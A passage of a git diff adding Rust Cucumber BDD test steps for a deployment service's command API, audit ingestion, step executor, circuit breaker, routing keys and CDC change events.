+#[when(
+    regex = r#"^I create a command for deployment "(.+)" with type "(.+)" and priority "(.+)"$"#
+)]
+async fn create_command_with_priority(
+    world: &mut StepWorld,
+    deployment_hash: String,
+    cmd_type: String,
+    priority: String,
+) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": cmd_type,
+        "priority": priority,
+        "timeout_seconds": 60
+    });
+    world.post_json("/api/v1/commands", &body).await;
+    store_command_id(world);
+}
+
+#[when(regex = r#"^I create a command for deployment "(.+)" with type "(.+)" and parameters$"#)]
+async fn create_command_with_params(
+    world: &mut StepWorld,
+    step: &cucumber::gherkin::Step,
+    deployment_hash: String,
+    cmd_type: String,
+) {
+    let mut params = serde_json::Map::new();
+    if let Some(table) = step.table.as_ref() {
+        for row in table.rows.iter().skip(1) {
+            if row.len() >= 2 {
+                params.insert(row[0].clone(), json!(row[1].clone()));
+            }
+        }
+    }
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": cmd_type,
+        "priority": "normal",
+        "parameters": params,
+        "timeout_seconds": 60
+    });
+    world.post_json("/api/v1/commands", &body).await;
+    store_command_id(world);
+}
+
+#[when(regex = r#"^I create a command for deployment "([^"]+)" with type "([^"]+)"$"#)]
+#[given(regex = r#"^I have created a command for deployment "([^"]+)" with type "([^"]+)"$"#)]
+async fn create_command(world: &mut StepWorld, deployment_hash: String, cmd_type: String) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": cmd_type,
+        "priority": "normal",
+        "timeout_seconds": 60
+    });
+    world.post_json("/api/v1/commands", &body).await;
+    store_command_id(world);
+}
+
+fn store_command_id(world: &mut StepWorld) {
+    if let Some(ref json) = world.response_json {
+        // Store command_id (string like "cmd_xxx")
+        if let Some(id) = json.pointer("/item/command_id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("command_id".to_string(), id.to_string());
+        }
+        // Store UUID id if available (from get response)
+        if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_str()) {
+            world
+                .stored_ids
+                .insert("command_uuid".to_string(), id.to_string());
+        }
+    }
+}
+
+#[when(regex = r#"^I list commands for deployment "(.+)" with limit (\d+)$"#)]
+async fn list_commands_with_limit(world: &mut StepWorld, deployment_hash: String, limit: u32) {
+    world
+        .get(&format!(
+            "/api/v1/commands/{}?limit={}",
+            deployment_hash, limit
+        ))
+        .await;
+}
+
+#[when(regex = r#"^I list commands for deployment "(.+)"$"#)]
+async fn list_commands(world: &mut StepWorld, deployment_hash: String) {
+    world
+        .get(&format!("/api/v1/commands/{}", deployment_hash))
+        .await;
+}
+
+#[when(regex = r#"^I get the stored command for deployment "(.+)"$"#)]
+async fn get_stored_command(world: &mut StepWorld, deployment_hash: String) {
+    let cmd_id = world
+        .stored_ids
+        .get("command_id")
+        .expect("No stored command_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/commands/{}/{}", deployment_hash, cmd_id))
+        .await;
+}
+
+#[when(regex = r#"^I cancel the stored command for deployment "(.+)"$"#)]
+async fn cancel_stored_command(world: &mut StepWorld, deployment_hash: String) {
+    let cmd_id = world
+        .stored_ids
+        .get("command_id")
+        .expect("No stored command_id")
+        .clone();
+
+    // First GET the command to obtain the row UUID (cancel uses fetch_by_id which needs UUID)
+    world
+        .get(&format!("/api/v1/commands/{}/{}", deployment_hash, cmd_id))
+        .await;
+    let uuid = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+        .expect("Could not get command UUID from GET response")
+        .to_string();
+
+    // Now cancel using the UUID
+    let body = json!({});
+    world
+        .post_json(
+            &format!("/api/v1/commands/{}/{}/cancel", deployment_hash, uuid),
+            &body,
+        )
+        .await;
+}
+
+// ─── Snapshot steps ──────────────────────────────────────────────
+
+#[when(regex = r#"^I get the snapshot for deployment "(.+)"$"#)]
+async fn get_snapshot(world: &mut StepWorld, deployment_hash: String) {
+    world
+        .get(&format!("/api/v1/agent/deployments/{}", deployment_hash))
+        .await;
+}
+
+#[when("I get the project snapshot for the stored project")]
+async fn get_project_snapshot(world: &mut StepWorld) {
+    let project_id = world
+        .stored_ids
+        .get("deployment_project_id")
+        .expect("No stored deployment_project_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/agent/project/{}", project_id))
+        .await;
+}
+
+// ─── Validation / edge-case command steps ────────────────────────
+
+#[when("I create a command with empty deployment hash")]
+async fn create_command_empty_hash(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "",
+        "command_type": "health",
+        "parameters": {"app_code": "nginx"},
+    });
+    world.post_json("/api/v1/commands", &body).await;
+}
+
+#[when("I create a command with empty command type")]
+async fn create_command_empty_type(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "bdd-cmd-deploy",
+        "command_type": "",
+    });
+    world.post_json("/api/v1/commands", &body).await;
+}
+
+#[when("I create a logs command with invalid limit")]
+async fn create_logs_invalid_limit(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "bdd-cmd-deploy",
+        "command_type": "logs",
+        "parameters": {
+            "app_code": "nginx",
+            "limit": 9999,
+            "streams": ["stdout"]
+        },
+    });
+    world.post_json("/api/v1/commands", &body).await;
+}
+
+#[when(regex = r#"^I get command "([^"]+)" for deployment "([^"]+)"$"#)]
+async fn get_command_by_id(world: &mut StepWorld, cmd_id: String, deployment_hash: String) {
+    world
+        .get(&format!("/api/v1/commands/{}/{}", deployment_hash, cmd_id))
+        .await;
+}
+
+#[when(regex = r#"^I create a health-all command for deployment "([^"]+)"$"#)]
+async fn create_health_all(world: &mut StepWorld, deployment_hash: String) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": "health",
+        "parameters": {"app_code": "all"},
+    });
+    world.post_json("/api/v1/commands", &body).await;
+    store_command_id(world);
+}
+
+#[when(regex = r#"^I create a restart command for app "([^"]+)" on deployment "([^"]+)"$"#)]
+async fn create_restart_command(world: &mut StepWorld, app_code: String, deployment_hash: String) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": "restart",
+        "parameters": {"app_code": app_code},
+    });
+    world.post_json("/api/v1/commands", &body).await;
+    store_command_id(world);
+}
+
+// ─── Enqueue steps ───────────────────────────────────────────────
+
+#[when(regex = r#"^I enqueue a command for deployment "([^"]+)" with type "([^"]+)"$"#)]
+async fn enqueue_command(world: &mut StepWorld, deployment_hash: String, cmd_type: String) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "command_type": cmd_type,
+        "parameters": {"app_code": "nginx"},
+        "timeout_seconds": 30,
+    });
+    world
+        .post_json("/api/v1/agent/commands/enqueue", &body)
+        .await;
+    store_command_id(world);
+}
+
+// ─── Audit steps ─────────────────────────────────────────────────
+
+async fn do_ingest(
+    world: &mut StepWorld,
+    installation_hash: &str,
+    key: &str,
+    events: serde_json::Value,
+) {
+    let url = format!("{}/api/v1/agent/audit", world.base_url);
+    let body = json!({
+        "installation_hash": installation_hash,
+        "events": events,
+    });
+    let resp = world
+        .client
+        .post(&url)
+        .header("Authorization", format!("Bearer {}", world.auth_token))
+        .header("x-internal-key", key)
+        .json(&body)
+        .send()
+        .await
+        .expect("Audit ingest request failed");
+    let status = resp.status().as_u16();
+    let text = resp.text().await.unwrap_or_default();
+    world.status_code = Some(status);
+    world.response_body = Some(text.clone());
+    world.response_json = serde_json::from_str(&text).ok();
+}
+
+#[when(regex = r#"^I ingest audit events for installation "([^"]+)"$"#)]
+async fn ingest_audit(world: &mut StepWorld, installation_hash: String) {
+    let events = json!([
+        {"id": 1, "event_type": "deploy_start", "payload": {"key": "v1"}, "created_at": 1711000000},
+        {"id": 2, "event_type": "deploy_end", "payload": {"key": "v2"}, "created_at": 1711000100}
+    ]);
+    do_ingest(world, &installation_hash, "bdd-internal-key", events).await;
+}
+
+#[when("I ingest audit events with invalid internal key")]
+async fn ingest_audit_invalid_key(world: &mut StepWorld) {
+    let events = json!([
+        {"id": 1, "event_type": "test", "payload": {}, "created_at": 1711000000}
+    ]);
+    do_ingest(world, "whatever", "wrong-key", events).await;
+}
+
+#[given(regex = r#"^I have ingested audit events for installation "([^"]+)"$"#)]
+async fn given_ingested_audit(world: &mut StepWorld, installation_hash: String) {
+    let events = json!([
+        {"id": 1, "event_type": "deploy_start", "payload": {"status": "ok"}, "created_at": 1711000000},
+        {"id": 2, "event_type": "deploy_end", "payload": {"status": "done"}, "created_at": 1711000100}
+    ]);
+    do_ingest(world, &installation_hash, "bdd-internal-key", events).await;
+    assert_eq!(
+        world.status_code.unwrap_or(0),
+        200,
+        "Audit ingest setup failed: {}",
+        world.response_body.as_deref().unwrap_or("")
+    );
+}
+
+#[when(regex = r#"^I query audit events for installation "([^"]+)"$"#)]
+async fn query_audit(world: &mut StepWorld, installation_hash: String) {
+    world
+        .get(&format!(
+            "/api/v1/agent/audit?installation_hash={}",
+            installation_hash
+        ))
+        .await;
+}
+
+#[when(regex = r#"^I query audit events for installation "([^"]+)" with event type "([^"]+)"$"#)]
+async fn query_audit_filtered(
+    world: &mut StepWorld,
+    installation_hash: String,
+    event_type: String,
+) {
+    world
+        .get(&format!(
+            "/api/v1/agent/audit?installation_hash={}&event_type={}",
+            installation_hash, event_type
+        ))
+        .await;
+}
+
+#[when(regex = r#"^I ingest empty audit batch for installation "([^"]+)"$"#)]
+async fn ingest_empty_audit(world: &mut StepWorld, installation_hash: String) {
+    do_ingest(world, &installation_hash, "bdd-internal-key", json!([])).await;
+}
diff --git a/tests/steps/agent_executor.rs b/tests/steps/agent_executor.rs
new file mode 100644
index 00000000..83c92b75
--- /dev/null
+++ b/tests/steps/agent_executor.rs
@@ -0,0 +1,367 @@
+use crate::steps::StepWorld;
+use cucumber::{given, then, when};
+use serde_json::{json, Value as JsonValue};
+use stacker::models::agent_protocol::{routing, RetryPolicy, StepCommand, StepResultMsg};
+use stacker::services::resilience_engine::{CircuitBreakerConfig, InMemoryCircuitBreaker};
+use stacker::services::step_executor;
+use std::time::Duration;
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Protocol Serialization Steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(expr = "a StepCommand with step_type {string} and config:")]
+async fn given_step_command(
+    world: &mut StepWorld,
+    step: &cucumber::gherkin::Step,
+    step_type: String,
+) {
+    let config_str = step.docstring.as_ref().expect("Missing docstring (config)");
+    let config: JsonValue = serde_json::from_str(config_str.trim()).expect("Invalid JSON config");
+    let cmd = StepCommand::new(
+        Uuid::new_v4(),
+        Uuid::new_v4(),
+        format!("test_{}", step_type),
+        step_type,
+        config.clone(),
+        json!({}),
+        Uuid::new_v4(),
+        "test-deploy".to_string(),
+    );
+    let serialized = serde_json::to_string(&cmd).unwrap();
+    world
+        .stored_ids
+        .insert("step_command_json".to_string(), serialized);
+    world.stored_ids.insert(
+        "step_config".to_string(),
+        serde_json::to_string(&config).unwrap(),
+    );
+}
+
+#[given(expr = "the step input is:")]
+async fn given_step_input(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let input_str = step.docstring.as_ref().expect("Missing docstring (input)");
+    world
+        .stored_ids
+        .insert("step_input".to_string(), input_str.trim().to_string());
+}
+
+#[given(expr = "a successful StepResultMsg with output:")]
+async fn given_success_result(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let output_str = step.docstring.as_ref().expect("Missing docstring (output)");
+    let output: JsonValue = serde_json::from_str(output_str.trim()).expect("Invalid JSON output");
+    let result = StepResultMsg::success(Uuid::new_v4(), Uuid::new_v4(), output, 150);
+    let serialized = serde_json::to_string(&result).unwrap();
+    world
+        .stored_ids
+        .insert("step_result_json".to_string(), serialized);
+}
+
+#[given(expr = "a failed StepResultMsg with error {string}")]
+async fn given_failure_result(world: &mut StepWorld, error: String) {
+    let result = StepResultMsg::failure(Uuid::new_v4(), Uuid::new_v4(), error, 500);
+    let serialized = serde_json::to_string(&result).unwrap();
+    world
+        .stored_ids
+        .insert("step_result_json".to_string(), serialized);
+}
+
+#[when("the command is serialized to JSON and back")]
+async fn when_command_roundtrip(world: &mut StepWorld) {
+    let json_str = world.stored_ids.get("step_command_json").unwrap().clone();
+    let deserialized: StepCommand =
+        serde_json::from_str(&json_str).expect("Deserialization failed");
+    let reserialized = serde_json::to_string(&deserialized).unwrap();
+    world
+        .stored_ids
+        .insert("step_command_roundtrip".to_string(), reserialized);
+}
+
+#[when("the result is serialized to JSON and back")]
+async fn when_result_roundtrip(world: &mut StepWorld) {
+    let json_str = world.stored_ids.get("step_result_json").unwrap().clone();
+    let deserialized: StepResultMsg =
+        serde_json::from_str(&json_str).expect("Deserialization failed");
+    let reserialized = serde_json::to_string(&deserialized).unwrap();
+    world
+        .stored_ids
+        .insert("step_result_roundtrip".to_string(), reserialized);
+}
+
+#[then("the deserialized command should match the original")]
+async fn then_command_matches(world: &mut StepWorld) {
+    let original = world.stored_ids.get("step_command_json").unwrap();
+    let roundtrip = world.stored_ids.get("step_command_roundtrip").unwrap();
+    let orig_val: JsonValue = serde_json::from_str(original).unwrap();
+    let rt_val: JsonValue = serde_json::from_str(roundtrip).unwrap();
+    assert_eq!(orig_val["step_type"], rt_val["step_type"]);
+    assert_eq!(orig_val["step_name"], rt_val["step_name"]);
+    assert_eq!(orig_val["config"], rt_val["config"]);
+    assert_eq!(orig_val["deployment_hash"], rt_val["deployment_hash"]);
+}
+
+#[then(expr = "the deserialized result status should be {string}")]
+async fn then_result_status(world: &mut StepWorld, expected: String) {
+    let json_str = world
+        .stored_ids
+        .get("step_result_roundtrip")
+        .or_else(|| world.stored_ids.get("step_result_json"))
+        .unwrap();
+    let result: StepResultMsg = serde_json::from_str(json_str).unwrap();
+    assert_eq!(result.status.to_string(), expected);
+}
+
+#[then("the deserialized result should have output data")]
+async fn then_result_has_output(world: &mut StepWorld) {
+    let json_str = world.stored_ids.get("step_result_roundtrip").unwrap();
+    let result: StepResultMsg = serde_json::from_str(json_str).unwrap();
+    assert!(
+        result.output_data.is_some(),
+        "Expected output data to be present"
+    );
+}
+
+#[then(expr = "the deserialized result error should be {string}")]
+async fn then_result_error(world: &mut StepWorld, expected: String) {
+    let json_str = world.stored_ids.get("step_result_roundtrip").unwrap();
+    let result: StepResultMsg = serde_json::from_str(json_str).unwrap();
+    assert_eq!(result.error.as_deref(), Some(expected.as_str()));
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Step Execution Steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[when("the step is executed via step_executor")]
+async fn when_execute_step(world: &mut StepWorld) {
+    let cmd_json = world.stored_ids.get("step_command_json").unwrap();
+    let cmd: StepCommand = serde_json::from_str(cmd_json).unwrap();
+
+    let input = world
+        .stored_ids
+        .get("step_input")
+        .map(|s| serde_json::from_str(s).unwrap())
+        .unwrap_or(cmd.input_data.clone());
+
+    match step_executor::execute_step(&cmd.step_type, &cmd.config, &input).await {
+        Ok(output) => {
+            world.stored_ids.insert(
+                "exec_output".to_string(),
+                serde_json::to_string(&output).unwrap(),
+            );
+            world
+                .stored_ids
+                .insert("exec_success".to_string(), "true".to_string());
+        }
+        Err(err) => {
+            world.stored_ids.insert("exec_error".to_string(), err);
+            world
+                .stored_ids
+                .insert("exec_success".to_string(), "false".to_string());
+        }
+    }
+}
+
+#[then("the execution should succeed")]
+async fn then_exec_success(world: &mut StepWorld) {
+    let success = world.stored_ids.get("exec_success").unwrap();
+    assert_eq!(
+        success,
+        "true",
+        "Expected execution to succeed but got error: {:?}",
+        world.stored_ids.get("exec_error")
+    );
+}
+
+#[then(expr = "the execution should fail with error containing {string}")]
+async fn then_exec_fail_with(world: &mut StepWorld, expected: String) {
+    let success = world.stored_ids.get("exec_success").unwrap();
+    assert_eq!(success, "false", "Expected execution to fail");
+    let error = world.stored_ids.get("exec_error").unwrap();
+    assert!(
+        error.contains(&expected),
+        "Error '{}' does not contain '{}'",
+        error,
+        expected
+    );
+}
+
+#[then(expr = "the output should contain key {string} with value {string}")]
+async fn then_output_contains(world: &mut StepWorld, key: String, value: String) {
+    let output_str = world
+        .stored_ids
+        .get("exec_output")
+        .expect("No execution output");
+    let output: JsonValue = serde_json::from_str(output_str).unwrap();
+    let actual = &output[&key];
+    // Handle bool/string/number comparisons
+    let matches = match actual {
+        JsonValue::Bool(b) => b.to_string() == value,
+        JsonValue::Number(n) => n.to_string() == value,
+        JsonValue::String(s) => s == &value,
+        other => other.to_string().trim_matches('"') == value,
+    };
+    assert!(
+        matches,
+        "output[{}] = {:?}, expected {:?}",
+        key, actual, value
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Circuit Breaker Steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(expr = "a circuit breaker with failure_threshold {int} and recovery_timeout {int}")]
+async fn given_circuit_breaker(world: &mut StepWorld, threshold: u32, timeout: u64) {
+    let cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+        failure_threshold: threshold,
+        recovery_timeout: Duration::from_secs(timeout),
+        half_open_max_requests: 1,
+    });
+    world.circuit_breaker = Some(cb);
+}
+
+#[when(expr = "I record {int} consecutive failures")]
+async fn when_record_failures(world: &mut StepWorld, count: u32) {
+    let cb = world
+        .circuit_breaker
+        .as_mut()
+        .expect("No circuit breaker initialized");
+    for _ in 0..count {
+        cb.record_failure();
+    }
+}
+
+#[then(expr = "the circuit breaker should be in {string} state")]
+async fn then_cb_state(world: &mut StepWorld, expected: String) {
+    let cb = world.circuit_breaker.as_mut().expect("No circuit breaker");
+    // Call allows_request to trigger potential state transition (Open→HalfOpen)
+    let _ = cb.allows_request();
+    let state = format!("{:?}", cb.state()).to_lowercase();
+    assert!(
+        state.contains(&expected),
+        "CB state '{}' does not match '{}'",
+        state,
+        expected
+    );
+}
+
+#[then("the circuit breaker should reject requests")]
+async fn then_cb_rejects(world: &mut StepWorld) {
+    let cb = world.circuit_breaker.as_mut().expect("No circuit breaker");
+    assert!(
+        !cb.allows_request(),
+        "Expected circuit breaker to reject requests"
+    );
+}
+
+#[then("the circuit breaker should allow requests")]
+async fn then_cb_allows(world: &mut StepWorld) {
+    let cb = world.circuit_breaker.as_mut().expect("No circuit breaker");
+    assert!(
+        cb.allows_request(),
+        "Expected circuit breaker to allow requests"
+    );
+}
+
+#[when(expr = "I wait {int} seconds for recovery")]
+async fn when_wait_recovery(_world: &mut StepWorld, seconds: u64) {
+    tokio::time::sleep(Duration::from_secs(seconds)).await;
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Resilience Steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(expr = "a retry policy with max_retries {int} and backoff_base_ms {int}")]
+async fn given_retry_policy(world: &mut StepWorld, max_retries: u32, backoff_base_ms: u64) {
+    world
+        .stored_ids
+        .insert("retry_max".to_string(), max_retries.to_string());
+    world
+        .stored_ids
+        .insert("retry_backoff".to_string(), backoff_base_ms.to_string());
+}
+
+#[when("the step is executed with resilience")]
+async fn when_execute_with_resilience(world: &mut StepWorld) {
+    let cmd_json = world.stored_ids.get("step_command_json").unwrap();
+    let cmd: StepCommand = serde_json::from_str(cmd_json).unwrap();
+
+    let max_retries: u32 = world
+        .stored_ids
+        .get("retry_max")
+        .unwrap_or(&"3".to_string())
+        .parse()
+        .unwrap();
+    let backoff_base_ms: u64 = world
+        .stored_ids
+        .get("retry_backoff")
+        .unwrap_or(&"10".to_string())
+        .parse()
+        .unwrap();
+
+    let retry_policy = RetryPolicy {
+        max_retries,
+        backoff_base_ms,
+        backoff_max_ms: backoff_base_ms * 10,
+    };
+
+    let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default());
+
+    use stacker::services::resilience_engine::execute_with_resilience;
+    match execute_with_resilience(
+        &cmd.step_type,
+        &cmd.config,
+        &cmd.input_data,
+        &retry_policy,
+        &mut cb,
+    )
+    .await
+    {
+        Ok(output) => {
+            world.stored_ids.insert(
+                "exec_output".to_string(),
+                serde_json::to_string(&output).unwrap(),
+            );
+            world
+                .stored_ids
+                .insert("exec_success".to_string(), "true".to_string());
+        }
+        Err(err) => {
+            world.stored_ids.insert("exec_error".to_string(), err);
+            world
+                .stored_ids
+                .insert("exec_success".to_string(), "false".to_string());
+        }
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Routing Steps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(expr = "a deployment hash {string}")]
+async fn given_deployment_hash(world: &mut StepWorld, hash: String) {
+    world.stored_ids.insert("deployment_hash".to_string(), hash);
+}
+
+#[then(expr = "the execute routing key should be {string}")]
+async fn then_execute_key(world: &mut StepWorld, expected: String) {
+    let hash = world.stored_ids.get("deployment_hash").unwrap();
+    assert_eq!(routing::execute_key(hash), expected);
+}
+
+#[then(expr = "the result routing key should be {string}")]
+async fn then_result_key(world: &mut StepWorld, expected: String) {
+    let hash = world.stored_ids.get("deployment_hash").unwrap();
+    assert_eq!(routing::result_key(hash), expected);
+}
+
+#[then(expr = "the agent queue name should be {string}")]
+async fn then_agent_queue(world: &mut StepWorld, expected: String) {
+    let hash = world.stored_ids.get("deployment_hash").unwrap();
+    assert_eq!(routing::agent_queue(hash), expected);
+}
diff --git a/tests/steps/cdc.rs b/tests/steps/cdc.rs
new file mode 100644
index 00000000..f3e8a94e
--- /dev/null
+++ b/tests/steps/cdc.rs
@@ -0,0 +1,276 @@
+use cucumber::{given, then, when};
+use serde_json::json;
+use uuid::Uuid;
+
+use crate::steps::StepWorld;
+use stacker::models::cdc::{routing, CdcChangeEvent, CdcOperation, CdcTriggerConfig};
+use stacker::services::step_executor;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Event Construction
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(regex = r#"^a CDC change event for table "([^"]+)" with operation "([^"]+)"$"#)]
+async fn given_cdc_event(world: &mut StepWorld, table: String, operation: String) {
+    let op = CdcOperation::from_str(&operation).expect("Invalid CDC operation");
+    let event = CdcChangeEvent::new(
+        Uuid::new_v4(),
+        "public".to_string(),
+        table,
+        op,
+        None,
+        None,
+        1,
+        "0/1".to_string(),
+    );
+    world.cdc_event = Some(event);
+}
+
+#[given("the event has after data:")]
+async fn given_event_after_data(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let data: serde_json::Value =
+        serde_json::from_str(step.docstring.as_ref().expect("Missing docstring"))
+            .expect("Invalid JSON in docstring");
+    if let Some(ref mut event) = world.cdc_event {
+        event.after = Some(data);
+    }
+}
+
+#[given("the event has before data:")]
+async fn given_event_before_data(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let data: serde_json::Value =
+        serde_json::from_str(step.docstring.as_ref().expect("Missing docstring"))
+            .expect("Invalid JSON in docstring");
+    if let Some(ref mut event) = world.cdc_event {
+        event.before = Some(data);
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Event Assertions
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[then("the event row_data should match the after data")]
+async fn then_row_data_matches_after(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    assert_eq!(event.row_data(), event.after.as_ref());
+}
+
+#[then("the event row_data should match the before data")]
+async fn then_row_data_matches_before(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    assert_eq!(event.row_data(), event.before.as_ref());
+}
+
+#[then("the event before data should be null")]
+async fn then_before_is_null(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    assert!(event.before.is_none());
+}
+
+#[then("the event before data should not be null")]
+async fn then_before_is_not_null(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    assert!(event.before.is_some());
+}
+
+#[then("the event after data should be null")]
+async fn then_after_is_null(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    assert!(event.after.is_none());
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Operation Parsing
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[then(regex = r#"^CDC operation "([^"]+)" should parse to (Insert|Update|Delete)$"#)]
+async fn then_operation_parses(_world: &mut StepWorld, input: String, expected: String) {
+    let parsed = CdcOperation::from_str(&input).expect("Should parse");
+    let expected_op = match expected.as_str() {
+        "Insert" => CdcOperation::Insert,
+        "Update" => CdcOperation::Update,
+        "Delete" => CdcOperation::Delete,
+        _ => panic!("Unknown expected operation: {}", expected),
+    };
+    assert_eq!(parsed, expected_op);
+}
+
+#[then(regex = r#"^CDC operation "([^"]+)" should not parse$"#)]
+async fn then_operation_does_not_parse(_world: &mut StepWorld, input: String) {
+    assert!(
+        CdcOperation::from_str(&input).is_none(),
+        "Expected None for '{}'",
+        input
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Pipe Payload
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[when("I convert the event to a pipe payload")]
+async fn when_convert_to_payload(world: &mut StepWorld) {
+    let event = world.cdc_event.as_ref().expect("No CDC event");
+    world.cdc_payload = Some(event.to_pipe_payload());
+}
+
+#[then(regex = r#"^the payload should contain field "([^"]+)" with value "([^"]+)"$"#)]
+async fn then_payload_contains_field(world: &mut StepWorld, field: String, value: String) {
+    let payload = world.cdc_payload.as_ref().expect("No CDC payload");
+    assert_eq!(
+        payload[&field].as_str().unwrap_or_default(),
+        value,
+        "Field '{}' mismatch",
+        field,
+    );
+}
+
+#[then(regex = r#"^the payload "([^"]+)" should have key "([^"]+)"$"#)]
+async fn then_payload_nested_has_key(world: &mut StepWorld, parent: String, key: String) {
+    let payload = world.cdc_payload.as_ref().expect("No CDC payload");
+    assert!(
+        payload[&parent].get(&key).is_some(),
+        "Expected key '{}' in payload.{}",
+        key,
+        parent,
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Source Step Execution
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(regex = r#"^a DAG step of type "([^"]+)" with config:$"#)]
+async fn given_dag_step_with_config(
+    world: &mut StepWorld,
+    step_type: String,
+    step: &cucumber::gherkin::Step,
+) {
+    let config: serde_json::Value =
+        serde_json::from_str(step.docstring.as_ref().expect("Missing docstring"))
+            .expect("Invalid JSON in docstring");
+    world.stored_ids.insert("step_type".to_string(), step_type);
+    world
+        .stored_ids
+        .insert("step_config".to_string(), config.to_string());
+}
+
+#[when("I execute the step with empty input")]
+async fn when_execute_step(world: &mut StepWorld) {
+    let step_type = world
+        .stored_ids
+        .get("step_type")
+        .expect("No step_type")
+        .clone();
+    let config: serde_json::Value =
+        serde_json::from_str(world.stored_ids.get("step_config").expect("No step_config"))
+            .expect("Invalid config JSON");
+    let result = step_executor::execute_step(&step_type, &config, &json!({}))
+        .await
+        .expect("Step execution failed");
+    world.response_json = Some(result);
+}
+
+#[then(regex = r#"^the step result should contain "([^"]+)" as true$"#)]
+async fn then_step_result_is_true(world: &mut StepWorld, field: String) {
+    let result = world.response_json.as_ref().expect("No step result");
+    assert_eq!(result[&field], true, "Expected {} to be true", field);
+}
+
+#[then(regex = r#"^the step result should contain "([^"]+)" as "([^"]+)"$"#)]
+async fn then_step_result_contains(world: &mut StepWorld, field: String, value: String) {
+    let result = world.response_json.as_ref().expect("No step result");
+    assert_eq!(
+        result[&field].as_str().unwrap_or_default(),
+        value,
+        "Field '{}' mismatch",
+        field,
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Routing Keys
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[then(regex = r#"^CDC event key for table "([^"]+)" operation "([^"]+)" should be "([^"]+)"$"#)]
+async fn then_cdc_event_key(_world: &mut StepWorld, table: String, op: String, expected: String) {
+    assert_eq!(routing::event_key(&table, &op), expected);
+}
+
+#[then(regex = r#"^CDC queue for deployment "([^"]+)" should be "([^"]+)"$"#)]
+async fn then_cdc_queue(_world: &mut StepWorld, hash: String, expected: String) {
+    assert_eq!(routing::cdc_queue(&hash), expected);
+}
+
+#[then(regex = r#"^CDC wildcard key for table "([^"]+)" should be "([^"]+)"$"#)]
+async fn then_cdc_wildcard(_world: &mut StepWorld, table: String, expected: String) {
+    assert_eq!(routing::wildcard_key(&table), expected);
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// CDC Trigger Config
